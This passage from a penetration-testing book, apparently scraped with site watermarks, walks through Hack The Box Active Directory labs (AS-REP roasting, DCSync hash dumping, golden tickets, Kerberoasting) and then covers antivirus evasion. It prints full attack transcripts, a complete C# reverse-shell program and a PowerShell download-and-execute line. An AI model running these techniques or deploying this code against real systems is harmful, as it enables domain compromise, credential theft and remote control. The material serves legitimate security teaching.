63 objectClass: msImaging-PSPs
64 objectClass: msTPM-InformationObjectsContainer
65 objectClass: nTFRSSettings
66 objectClass: organizationalPerson
67 objectClass: organizationalUnit
68 objectClass: person
69 objectClass: rIDManager
70 objectClass: rIDSet
71 objectClass: rpcContainer
72 objectClass: samServer
73 objectClass: secret
74 objectClass: securityObject
75 objectClass: top
76 objectClass: user
We are interested in the users and so we can customize our search to just return those:
1 # numReferences: 3
2 ┌─[rin@parrot]─[~/boxes/Resolute]
3 └──╼ $ ldapsearch -x -h forest.htb -b dc=htb,dc=local "(objectClass=user)"
4 # extended LDIF
5 #
6 # LDAPv3
7 # base <dc=htb,dc=local> with scope subtree
8 # filter: (objectClass=user)
9 # requesting: ALL
10 #
11 # Guest, Users, htb.local
12 dn: CN=Guest,CN=Users,DC=htb,DC=local
13 objectClass: top
14 objectClass: person
15 objectClass: organizationalPerson
16 objectClass: user
17 cn: Guest
18
hide01.ir
description: Built-in account for guest access to the computer/domain
19 distinguishedName: CN=Guest,CN=Users,DC=htb,DC=local
20 instanceType: 4
21 whenCreated: 20190918174557.0Z
22 whenChanged: 20190918174557.0Z
23 uSNCreated: 8197
24 memberOf: CN=Guests,CN=Builtin,DC=htb,DC=local
25 uSNChanged: 8197
26 name: Guest
27 objectGUID:: 3cHbrmUFAEi25kbTT5W9gA==
28 userAccountControl: 66082
29 badPwdCount: 0
30 codePage: 0
31 countryCode: 0
32 badPasswordTime: 0
33 lastLogoff: 0
34 lastLogon: 0
35 pwdLastSet: 0
36 primaryGroupID: 514
37 objectSid:: AQUAAAAAAAUVAAAALB4ltxV1shXFsPNP9QEAAA==
38 accountExpires: 9223372036854775807
39 logonCount: 0
40 sAMAccountName: Guest
41 sAMAccountType: 805306368
42 objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=htb,DC=local
43 isCriticalSystemObject: TRUE
44 dSCorePropagationData: 20210112032435.0Z
45 dSCorePropagationData: 20210112032435.0Z
46 dSCorePropagationData: 20210112032435.0Z
47 dSCorePropagationData: 20210112032435.0Z
48 dSCorePropagationData: 16010101000000.0Z
49 # DefaultAccount, Users, htb.local
50 dn: CN=DefaultAccount,CN=Users,DC=htb,DC=local
51 objectClass: top
52 objectClass: person
53 objectClass: organizationalPerson
54 objectClass: user
55 cn: DefaultAccount
I have only shown the first record here to give you an idea of what the record looks like. We
can extract the sAMAccountNames to create a user list by using grep for the
sAMAccountName and we get a list:
hide01.ir
1 sAMAccountName: sebastien
2 sAMAccountName: lucinda
3 sAMAccountName: andy
4 sAMAccountName: mark
One thing that is missed potentially here is that there is a Service Account svc-alfredo that
does not come up as a user through the LDAP query. What does display is:
At this point, if we search the internet for svc-alfresco, we find that it is likely that it belongs
to a product called Alfresco which is a content management system. If you dig through the
documentation, there is a section about configuring Alfresco with Active Directory and in
particular, it mentions the requirement that the service account needs to have the "Do not
require Kerberos preauthentication" enabled (https://docs.alfresco.com/5.1/tasks/auth-
kerberos-ADconfig.html). However, if you didn't see this then the next step would be
potentially something you could try in any event. What we saw earlier, is that if
preauthentication is not required, then any client can request a TGT from the KDC for any
user. When the KDC responds, the TGT is encrypted using the users password hash and so
it is then a matter of extracting the TGT and brute forcing it to reveal the password. This is
hide01.ir
known as AS-REP Roasting as the TGT is sent as part of an AS-REP message from the KDC
to the user.
We can run Impacket's GetNPUsers.py script to check each user in the user list we have:
1 ┌─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $GetNPUsers.py htb.local/ -usersfile users.txt
3 Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
4 SecureAuth Corporation
5 [-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
6 [-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
7 [-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
8 [-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
9 [-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
10 [email protected]:6739c04fcfd386eda8158c40fa6e27ed$79f0
Note that htb.local is the domain name and for this to work, it needs to be in the hosts file.
We get a hit with svc-alfresco and we can take the returned result and crack it with John
The Ripper giving us a password s3rvice:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
3 Using default input encoding: UTF-8
4 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23
5 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
6 Will run 2 OpenMP threads
7 Press 'q' or Ctrl-C to abort, almost any other key for status
8 s3rvice ([email protected])
9 1g 0:00:00:05 DONE (2021-01-12 14:18) 0.1934g/s 790282p/s 790282c/s
10 790282C/s s401447401447401447..s3r2s1
11 Use the "--show" option to display all of the cracked passwords reliably
12 Session completed
Back on our machine, we are going to run a tool called Bloodhound to map the
relationships of the users on the domain graphically. There are a number of tools that will
do the ingesting of data from the domain. On Windows, you can use SharpHound
(https://github.com/BloodHoundAD/SharpHound3) but as we are on Parrot OS, we can
simply install a Python version using pip:
To run this, we specify the domain local.htb and point to forest.htb (using its IP address) as
the name server:
1 ┌─[rin@parrot]─[~]
2 └──╼ $bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -ns 10.129
3 INFO: Found AD domain: htb.local
4 INFO: Connecting to LDAP server: FOREST.htb.local
5 INFO: Found 1 domains
6 INFO: Found 1 domains in the forest
7 INFO: Found 2 computers
8 INFO: Found 31 users
9 INFO: Connecting to LDAP server: FOREST.htb.local
10 INFO: Found 75 groups
11 INFO: Found 0 trusts
12 INFO: Starting computer enumeration with 10 workers
13 INFO: Querying computer: EXCH01.htb.local
14 INFO: Querying computer: FOREST.htb.local
15 INFO: Done in 01M 04S
To install the visual component is slightly more complicated and there are full instructions
in the docs page (https://bloodhound.readthedocs.io/en/latest/installation/linux.html).
hide01.ir
When you have Bloodhound running, you can drop the .json files generated in the previous
step onto the main window and it will import them. In the search box, type svc-
[email protected] and select it from the item that appears. In the node info tab below, you
can click on the number 9 next to the unrolled group membership to get the layout shown in
Figure 8-1
You can right click the node with svc-alfresco and mark it as "owned". From the graph, we
can see that svc-alfresco is a member of the "Service Accounts" group which in turn is a
member of "Privileged IT Accounts" which is part of "Account Operators". The last group
has a diamond icon on it which shows that it is a high value group. According to the
documentation (https://docs.microsoft.com/en-us/windows/security/identity-
protection/access-control/active-directory-security-groups#bkmk-accountoperators) this
account can create and manage accounts but cannot manage the Administrator account or
membership of groups such as Administrators, Server Operators, Account Operators,
Backup Operators, or Print Operators.
hide01.ir
In the Analysis tab in Bloodhound, there are a number of pre-built queries that we can run. If
we run the query "Shortest Path to High Vale Targets" we find a link between the group
"Account Operators" to the group "Exchange Windows Permissions" which has WriteDacl
permissions over the htb.local domain (Figure 8-2).
Partial display of results from "Shortest Path to High Value Targets" in Forest
The WriteDACL permission means that we can change the permissions (Access Control List
ACL) of a user to give them permissions that will allow us to exploit AD. The main path to
do this is a DCSync attack which involves creating a user and then give the user Active
Directory Replication rights (Replicating Directory Changes All and Replicating Directory
hide01.ir
Changes). Normally, replication is responsible for keeping backup copies of the domain
synchronized.
To carry out this attack, we are going to use PowerView which can be obtained by cloning
the PowerSploit repository from GitHub
(https://github.com/PowerShellMafia/PowerSploit.git). We first create a user and then add
them to the Exchange Windows Permissions group.
Once that is done, we can use the Impacket tool secretsdump.py to do the AD replication
and obtain all of the password hashes:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $secretsdump.py htb.local/[email protected]
3 Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
4 SecureAuth Corporation
5 Password:
6 [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_acces
7 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
8
hide01.ir
[*] Using the DRSUAPI method to get NTDS.DIT secrets
9 htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:
10 32693b11e6aa90eb43d32c72a07ceea6:::
11 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
12 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632
13 <SNIP>
With the hash, we can again use evil-winrm to remote onto the machine as Administrator
and use their hash
1 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $evil-winrm -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 \
3 -i forest.htb
4 Evil-WinRM shell v2.3
5 Info: Establishing connection to remote endpoint
6 *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
7 htb\administrator
Before we leave this box, as part of the DCSync attack, we obtained the golden ticket,
namely the hash for the user krbtgt. We can use this to create TGT tickets for any user
using the Impacket tools ticketer.py. This tool requires the domain SID which we can get
using the Get-ADDomain PowerShell command.
With that, we can create a TGT for the user administrator (it can be any valid user or servie
account) using ticketer.py as follows:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $ticketer.py -domain-sid S-1-5-21-3072663084-364016917-1341370565 \
3 -nthash 819af826bb148e603acb0f33d17632f8 -domain htb.local administrator
4 Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
5 SecureAuth Corporation
6 [*] Creating basic skeleton ticket and PAC Infos
7 [*] Customizing ticket for htb.local/administrator
8 [*] PAC_LOGON_INFO
9 [*] PAC_CLIENT_INFO_TYPE
10 [*] EncTicketPart
11 [*] EncAsRepPart
12 [*] Signing/Encrypting final ticket
13 [*] PAC_SERVER_CHECKSUM
14 [*] PAC_PRIVSVR_CHECKSUM
15 [*] EncTicketPart
16 [*] EncASRepPart
17 [*] Saving ticket in administrator.ccache
We then set the environment variable KRB5CCNAME to the administrator.ccache file and
use wmiexec.py to remote onto the box:
1 ┌─[rin@parrot]─[~/boxes/Forest]
2
hide01.ir
└──╼ $export KRB5CCNAME=administrator.ccache
3 ┌─[rin@parrot]─[~/boxes/Forest]
4 └──╼ $wmiexec.py htb.local/[email protected] -k -no-pass
5 Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
6 SecureAuth Corporation
7 [*] SMBv3.0 dialect used
8 [!] Launching semi-interactive shell - Careful what you execute
9 [!] Press help for extra shell commands
10 C:\>whoami
11 htb.local\administrator
12 C:\>
Running nmap, we find a likely domain controller running Windows Server 2008 R2 SP1.
1 ┌─[oztechmuse@parrot]─[~/boxes/Active]
2 └──╼ $smbmap -H active.htb
3 [+] IP: active.htb:445 Name: unknown
4 Disk Permissions Comment
5 ---- ----------- -------
6 ADMIN$ NO ACCESS Remote Admin
7 C$ NO ACCESS Default share
8 IPC$ NO ACCESS Remote IPC
9 NETLOGON NO ACCESS Logon server share
10 Replication READ ONLY
11 SYSVOL NO ACCESS Logon server share
12 Users NO ACCESS
We can use smbmap to recursively list all directories and files using the -R flag. We can do
this on the Replication share.
1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $smbmap -H active.htb -R Replication --depth 10
3 [+] IP: active.htb:445 Name: unknown
4 Disk Permissions Comment
5 ---- ----------- -------
6 Replication READ ONLY
7 .\Replication\*
8 dr--r--r-- 0 Sat Jul 21 18:37:44 2018 .
9 dr--r--r-- 0 Sat Jul 21 18:37:44 2018 ..
10 dr--r--r-- 0 Sat Jul 21 18:37:44 2018 active.htb
11 <NSNIP>
12 .\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
13 \MACHINE\Preferences\Groups\*
14 dr--r--r-- 0 Sat Jul 21 18:37:44 2018 .
15
hide01.ir
dr--r--r-- 0 Sat Jul 21 18:37:44 2018 ..
16 fr--r--r-- 533 Sat Jul 21 18:38:11 2018 Groups.xml
17 <SNIP>
The interesting file here is Groups.xml which is a file that stores Group Policy Preferences
which we can retrieve with smbmap:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Active]
2 └──╼ $smbmap -H active.htb \
3 --download 'Replication\active.htb\Policies\
4 {31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.x
5 [+] Starting download: Replication\active.htb\Policies\
6 {31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.x
7 (533 bytes)
8 [+] File output: <SNIP>
Before we go on, we should talk about Group Policy in an Active Directory environment.
Group Policy is a management technology that allows centralized control over user and
computer security settings. A Group Policy Object is a logical container that consists of a
Group Policy container and a Group Policy template. Templates are stored on the System
Volume (SYSVOL) of each domain controller. Containers are stored in the domain partition
of Active Directory. In terms of synchronizing Group Policy Objects to other domain
controllers, Active Directory replication is responsible for replicating the containers and File
Replication Services (FRS) or Distributed File System Replication (DFSR) is responsible for
replicating the SYSVOL.
Group policy is applied to computers and users by the Group Policy client-side extensions.
Group Policy Preferences are client side preferences that are saved for a user and as such
are extensions of Group Policy. They determine things like environment variables, drive
mappings, folder settings, configured printers, start menu, etc. Passwords used to be able to
be stored in Group Policy Preference files and these were encrypted using a key that has
subsequently become widely available after Microsoft publicly disclosed it
(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-
f086-4c74-8b70-1f2fa45dd4be).
The file contains a password hash (cpassword) for the user SVC_TGS. You can decrypt this
using a utility gpp-decrypt.py (https://github.com/t0thkr1s/gpp-decrypt/blob/master/gpp-
decrypt.py) or by using cryptii.com as shown below.
Decrypting the cpasssword from Groups.xml. The text is base64 decoded and then
decrypted using AES-256 using the published key.
We can see from the home directories that there are likely at least 2 users: SVC_TGS and
Administrator. We can enumerate the AD users using ldapsearch:
1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $ldapsearch -h active.htb -x -D 'SVC_TGS' -w 'GPPstillStandingStrong2
3 -b "dc=active,dc=htb" "(&(objectClass=user)(!(objectClass=computer)))" \
4 samaccountname | grep -i samaccountname
5 # requesting: samaccountname
6 sAMAccountName: Administrator
7 sAMAccountName: Guest
8 sAMAccountName: krbtgt
9 sAMAccountName: SVC_TGS
10 and GetADUsers.py
11 ┌─[rin@parrot]─[~/boxes/Active]
12 └──╼ $GetADUsers.py active.htb/svc_tgs:GPPstillStandingStrong2k18 -all
13 Impacket - Copyright 2020 SecureAuth Corporation
14
hide01.ir
[*] Querying active.htb for information about domain.
15 Name Email PasswordLastSet LastLogon
16 -------------------- ---------------- ------------------- -------------
17 Administrator 2018-07-19 03:06:40.351723 2018-07-31 01:17:40.656520
18 Guest <never> <never>
19 krbtgt 2018-07-19 02:50:36.972031 <never>
20 SVC_TGS 2018-07-19 04:14:38.402764 2018-07-21 22:01:30.320277
Both of these approaches show that we have the three manin users we are interested in
SVC_TGS, Administrator and krbtgt, the Kerberos user. We can again explore AD using
BloodHound. This time, we will do it from Windows. The instructions for installation on
Windows are on the BloodHound documents site
(https://bloodhound.readthedocs.io/en/latest/installation/windows.html). To collect the
data, we will use SharpHound.exe and we can run that from a command prompt that has
authenticated with the domain. We can add active.htb as a hosts entry in the hosts file at
c:\Windows\System32\drivers\etc\hosts.
Enter the password for the user when prompted. This will open a separate window with the
title saying that cmd,exe (running as active.htb\svc_tgs). You can verify that this is running
correctly by listing the Users directory. If all has worke correctly, you will not be prompted for
a username or password:
1 c:\Users\rin\boxes\Active>dir \\10.129.81.55\Users
2 Volume in drive \\10.129.81.55\Users has no label.
3 Volume Serial Number is 2AF3-72E4
4 Directory of \\10.129.81.55\Users
5 07/21/2018 10:39 PM <DIR> .
6 07/21/2018 10:39 PM <DIR> ..
7 07/16/2018 06:14 PM <DIR> Administrator
8 07/14/2009 12:57 PM <DIR> Public
9 07/21/2018 11:16 PM <DIR> SVC_TGS
10 0 File(s) 0 bytes
11 5 Dir(s) 20,165,267,456 bytes free
hide01.ir
From this cmd prompt, we can run SharpHound to get a set of JSON files that are in a ZIP
file.
1 c:\Users\rin\boxes\Active>.\SharpHound.exe -d active.htb
2 -----------------------------------------------
3 Initializing SharpHound at 2:03 PM on 1/14/2021
4 -----------------------------------------------
5 Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps,
6 LocalGroups, SPNTargets, Container
7 [+] Creating Schema map for domain ACTIVE.HTB using path CN=Schema,
8 CN=Configuration,DC=ACTIVE,DC=HTB
9 [+] Cache File not Found: 0 Objects in cache
10 [+] Pre-populating Domain Controller SIDS
11 Status: 0 objects finished (+0) -- Using 19 MB RAM
12 Status: 46 objects finished (+46 7.666667)/s -- Using 26 MB RAM
13 Enumeration finished in 00:00:06.5475076
14 Compressing data to .\20210114140331_BloodHound.zip
15 You can upload this file directly to the UI
16 SharpHound Enumeration Completed at 2:03 PM on 1/14/2021! Happy Graphing!
Once this is done, we can launch BloodHound, upload the zip file and then run queries to
explore the domain. If we run the query, List all Kerberoastable Accounts, we find that
Administrator is kerberoastable. This means that the account has an associated SPN
(Service Principle Name).
hide01.ir
Another way of doing this is to run the Impacket tool GetUserSPNs. This will do an LDAP
query to retrieve the SPNs for any active user accounts and once it has obtained them, will
request a service ticket from the TGS for the SPN.
1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $GetUserSPNs.py -request active.htb/svc_tgs:GPPstillStandingStrong2k1
3 Impacket - Copyright 2020 SecureAuth Corporation
4 ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
5 -------------------- ------------- ---------------------------------------
6 active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,
7 DC=active,DC=htb 2018-07-19 03:06:40.351723 2018-07-31 01:17:40.656520
8 $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$747cecdf77
9 43de5898565b46b052f$ee66d6d688a824efdbe603c6e72bd82ff38da9a38e0c8defde5ce8
10 1a5a8b71848dcc637f9b8e860801f5e3e361fb79e4abb97e250c94aaeb3482f93b3cef6f33
11
hide01.ir
587f9d6136fc3eeb2a6c44349071e9be126065dee4f57474597fc6aa08d98ea0b3a31cc9bb
12 ...<SNIP>
As Administrator had an SPN which was "active/CIFS:445" we got a service ticket that we
can now try and crack with John The Ripper:
1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
3 Using default input encoding: UTF-8
4 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4
5 Will run 2 OpenMP threads
6 Press 'q' or Ctrl-C to abort, almost any other key for status
7 Ticketmaster1968 (?)
That gives us a password Ticketmaster1968 which we can use with psexec.py to get
remote command shell on the box.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Active]
2 └──╼ $psexec.py active.htb/Administrator:[email protected]
3 Impacket - Copyright 2020 SecureAuth Corporation
4 [*] Requesting shares on 10.129.26.7.....
5 [*] Found writable share ADMIN$
6 [*] Uploading file mDNtlaXF.exe
7 [*] Opening SVCManager on 10.129.26.7.....
8 [*] Creating service MkZv on 10.129.26.7.....
9 [*] Starting service MkZv.....
10 [!] Press help for extra shell commands
11 Microsoft Windows [Version 6.1.7601]
12 Copyright (c) 2009 Microsoft Corporation. All rights reserved.
13 C:\Windows\system32>whoami
14 nt authority\system
1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $ldapsearch -h active.htb -x -D 'SVC_TGS' -w 'GPPstillStandingStrong2
3 -b "dc=active,dc=htb" \
4
hide01.ir
"(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512
5 (!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=compute
6 sAMAccountName ServicePrincipalName | \
7 grep 'sAMAccountName:\|servicePrincipalName:'
8 sAMAccountName: Administrator
9 servicePrincipalName: active/CIFS:445
The interesting thing about the query is the use of the userAccountControl attribute which is
a bit mask that has multiple values (http://www.selfadsi.org/ads-attributes/user-
userAccountControl.htm). In this case, the query is checking that the account is not
disabled (2) and that it is a normal account (512). The userAccountControl attribute can
also be queried to check whether the account does not require preauth (4194304).
hide01.ir
Final Thoughts
We have covered a reasonable amount of content on Active Directory and potential ways of
enumerating it and exploiting vulnerabilities. Necessarily, there is a lot we haven't covered,
including Azure Active Directory, Microsoft's cloud based version of AD which does differ
from the on-premises version. AD is built on standards however and so the techniques of
exploring LDAP are applicable to other implementations of LDAP such as OpenLDAP and
to Kerberos implementations built on other platforms.
hide01.ir
Cybersecurity defenses
It is the recognition that software and people will always be vulnerable to attack by threat
actors that has led to the growth of products that mitigate these risks. This started with
firewalls which regulate traffic into and out of a network. Firewalls operated in a largely
static way with a set of rules based on source and destination addresses but grew to
include dynamic and deep inspection of network packet contents. Firewalls were developed
to monitor and protect applications, especially web applications where they are known as
Web Application Firewalls (WAFs). WAFs inspect HTTP requests and look for potential
attacks such as brute forcing, database injection attacks or file inclusion requests.
Endpoint security started with anti-virus software that again consisted of a static list of file
signatures belonging to blacklisted and whitelisted software. This has evolved dramatically
to now using dynamic behavior and process inspection to be able to stop malware that has
never been seen before. Operating systems have become more secure by implementing
controls over file access and implementing the principle of least privileges. It is now no
longer the case that the principal user of a computer has permanent administrator rights by
default for example. All of these controls implement the approach of defense in depth in an
attempt to stop bad actors from compromising the security of the system.
On the flipside, attackers have been developing tools and approaches to circumvent these
defenses and this is going to be the focus of this chapter. Initially this is about getting
around restrictions imposed by AV software and Firewalls, but it is also important to not
leave evidence that could be picked up either during an attack or after as part of a forensic
examination of the machines and networks. This means using stealth whilst running
programs and commands. For example, instead of running a reverse shell openly, migrating
it into a process through process injection, so that it won't draw attention to anyone looking
at running processes. Covering tracks by deleting command histories, events that might be
generated in logs and using stealth when transmitting data.
AV Evasion
Although a full discussion of malware detection techniques is beyond the scope of this
book, the general principle of malware detection is to identify a file as malware from a
database of known examples of malware. This is done using signature or static analysis
using a number of attributes of a file including its hash, strings it contains, libraries and
functions that it calls, and even assembly code. Windows Defender and other Windows AV
products use the Antimalware Scan Interface (AMSI) to scan files (executables and scripts)
and detect potential malware. You will sometimes see evasion referred to as AMSI-bypass.
When performing evasion, you can see how well something will work against a range of AV
products by uploading the file to VirusTotal (https://www.virustotal.com/gui/) and this will
run it against around 70 different products.
AV products can also monitor behavior of processes and detect malicious activity. This
behavioral analysis sometimes employs machine learning that is trained on data from
normal processes and the network traffic they create and then comparing any new process
with that baseline.
Suspicious files can be executed in an AV sandbox to see how they behave without putting
the host system at risk.
hide01.ir
A problem that all AV products face is that of false positives and this is why they cannot be
too aggressive in their detection of malware for risk of not stopping a legitimate product
from running.
Evasion of shell code usually involves either encoding the code, encrypting it, or modifying
the execution flow. Modification of code execution can include AV detection and shutting
down in the case the malware is being run in a sandbox or debugger of any type.
Msfvenom can be used to encode a payload using a variety of encoders that can be listed
with the --list encoders command:
1 ┌─[✗]─[rin@parrot]─[~/book]
2 └──╼ $msfvenom --list encoders
3 Framework Encoders [--encoder <value>]
4 ======================================
5 Name Rank Description
6 ---- ---- -----------
7 cmd/brace low Bash Brace Expansion Command Encoder
8 cmd/echo good Echo Command Encoder
9 cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
10 cmd/ifs low Bourne ${IFS} Substitution Command Encoder
11 cmd/perl normal Perl Command Encoder
12 cmd/powershell_base64 excellent Powershell Base64 Command Encoder
13 cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command E
14 generic/eicar manual The EICAR Encoder
15 generic/none normal The "none" Encoder
16 mipsbe/byte_xori normal Byte XORi Encoder
17 mipsbe/longxor normal XOR Encoder
18 mipsle/byte_xori normal Byte XORi Encoder
19 mipsle/longxor normal XOR Encoder
20 php/base64 great PHP Base64 Encoder
21 ppc/longxor normal PPC LongXOR Encoder
22 ppc/longxor_tag normal PPC LongXOR Encoder
23 ruby/base64 great Ruby Base64 Encoder
24 sparc/longxor_tag normal SPARC DWORD XOR Encoder
25 x64/xor normal XOR Encoder
26 x64/xor_context normal Hostname-based Context Keyed Payload Encoder
27 x64/xor_dynamic normal Dynamic key XOR Encoder
28 x64/zutto_dekiru manual Zutto Dekiru
29 x86/add_sub manual Add/Sub Encoder
30 x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
31 x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
32 x86/avoid_underscore_tolower manual Avoid underscore/tolower
33 x86/avoid_utf8_tolower manual Avoid UTF8/tolower
34 x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
35
hide01.ir
x86/bmp_polyglot manual BMP Polyglot
36 x86/call4_dword_xor normal Call+4 Dword XOR Encoder
37 x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
38 x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
39 x86/context_time manual time(2)-based Context Keyed Payload Encoder
40 x86/countdown normal Single-byte XOR Countdown Encoder
41 x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
42 x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
43 x86/nonalpha low Non-Alpha Encoder
44 x86/nonupper low Non-Upper Encoder
45 x86/opt_sub manual Sub Encoder (optimised)
46 x86/service manual Register Service
47 x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
48 x86/single_static_bit manual Single Static Bit
49 x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
50 x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
51 x86/xor_dynamic normal Dynamic key XOR Encoder
One of the best known of these is the encoder called "Shikata Ga Nai". Technically, the
encoder uses a process of using exclusive or of data with a key and then using that data to
encode the next and so on (referred to as a Polymorphic XOR Additive Feedback Encoder).
In practice, it randomizes instruction order, inserts junk code, randomizes spacing between
instructions and moves blocks of code around. The end result is that every encoding will be
different. We can see this by doing two encodings of the same payload and then
comparing the md5sum of each:
1 ┌─[rin@parrot]─[~/book]
2 └──╼ $msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp \
3 LHOST=192.169.0.36 LPORT=80 -b "\x00" -e x86/shikata_ga_nai -f exe -o pass
4 Found 1 compatible encoders
5 Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
6 x86/shikata_ga_nai succeeded with size 381 (iteration=0)
7 x86/shikata_ga_nai chosen with final size 381
8 Payload size: 381 bytes
9 Final size of exe file: 73802 bytes
10 Saved as: pass2.exe
11 ┌─[rin@parrot]─[~/book]
12 └──╼ $md5sum pass1.exe
13 5a5deacc6e19f2b2256ce864ca071df3 pass1.exe
14 ┌─[rin@parrot]─[~/book]
15 └──╼ $md5sum pass2.exe
16 5b3a3360ffd602140a403e72128188b7 pass2.exe
hide01.ir
An added advantage of Shikata Ga Nai encoding is that it can be used to avoid bytes such
as null bytes and carriage return or linefeed that might interfere with the transmission and
execution of the shellcode.
Unfortunately, if the results of this are uploaded to VirusTotal, 52 of 70 of the AVs detect it
as malware. Increasing the number of iterations of the encoding doesn't improve the
situation with 53 of the AVs detecting it as malware. Microsoft Defender even correctly
identifies it as a Metasploit executable.
Output from VirusTotal for the reverse shell encoded with Shikata Ga Nai
There are a number of different approaches that can be taken to try and improve the
evasion. The simplest and most successful is to use a simple C++ or csharp program to do
hide01.ir
the reverse shell and build it yourself. Taking as an example this
(https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) C#
program
1 using System;
2 using System.Text;
3 using System.IO;
4 using System.Diagnostics;
5 using System.ComponentModel;
6 using System.Linq;
7 using System.Net;
8 using System.Net.Sockets;
9 namespace ConnectBack {
10 public class Program {
11 static StreamWriter streamWriter;
12 public static void Main(string[] args) {
13 using(TcpClient client = new TcpClient("10.0.2.15", 443)) {
14 using(Stream stream = client.GetStream()) {
15 using(StreamReader rdr = new StreamReader(stream)) {
16 streamWriter = new StreamWriter(stream);
17 StringBuilder strInput = new StringBuilder();
18 Process p = new Process();
19 p.StartInfo.FileName = "cmd.exe";
20 p.StartInfo.CreateNoWindow = true;
21 p.StartInfo.UseShellExecute = false;
22 p.StartInfo.RedirectStandardOutput = true;
23 p.StartInfo.RedirectStandardInput = true;
24 p.StartInfo.RedirectStandardError = true;
25 p.OutputDataReceived +=
26 new DataReceivedEventHandler(CmdOutputDataHandler);
27 p.Start();
28 p.BeginOutputReadLine();
29 while(true) {
30 strInput.Append(rdr.ReadLine());
31 p.StandardInput.WriteLine(strInput);
32 strInput.Remove(0, strInput.Length);
33 }
34 }
35 }
36 }
37 }
38 private static void CmdOutputDataHandler(object sendingProcess,
39 DataReceivedEventArgs outLine
40 StringBuilder strOutput = new StringBuilder();
41 if (!String.IsNullOrEmpty(outLine.Data)) {
42 try {
43 strOutput.Append(outLine.Data);
44 streamWriter.WriteLine(strOutput);
45
hide01.ir
streamWriter.Flush();
46 } catch (Exception err) { }
47 }
48 }
49 }
50 }
Other techniques such as encrypting payloads and decrypting before running also may
evade a specific AV but they are getting better at detecting these techniques as well. To do
this, we can use msfvenom to generate a payload:
Encoding PowerShell
PowerShell not only has AMSI that can block its execution, but there is also an execution
policy that can restrict what can be run. Strictly speaking, the execution policy applied to
PowerShell was meant to avoid users doing things they weren't aware of and so there are
ways to get around it. If you find that a PowerShell script will not execute, then some of the
techniques will apply to AMSI as well as bypassing the execution policy restrictions.
First of all, the execution policies that can be applied to PowerShell are:
You can see what the current execution policy is for a user showing all of the different
scopes by using the command:
Download the script from a web server and execute using Invoke Expression
hide01.ir
1 IEX(New-Object Net.WebClient).downloadString("http://192.168.114.2/runme.p
2 Verify me!
Encode the command as Base64 and pass it to PowerShell using the -EncodedCommand
flag
Incidentally, if you want to encode a PowerShell command on Linux, you need to use the
UTF little endian encoding (--to-code UTF_16LE) first:
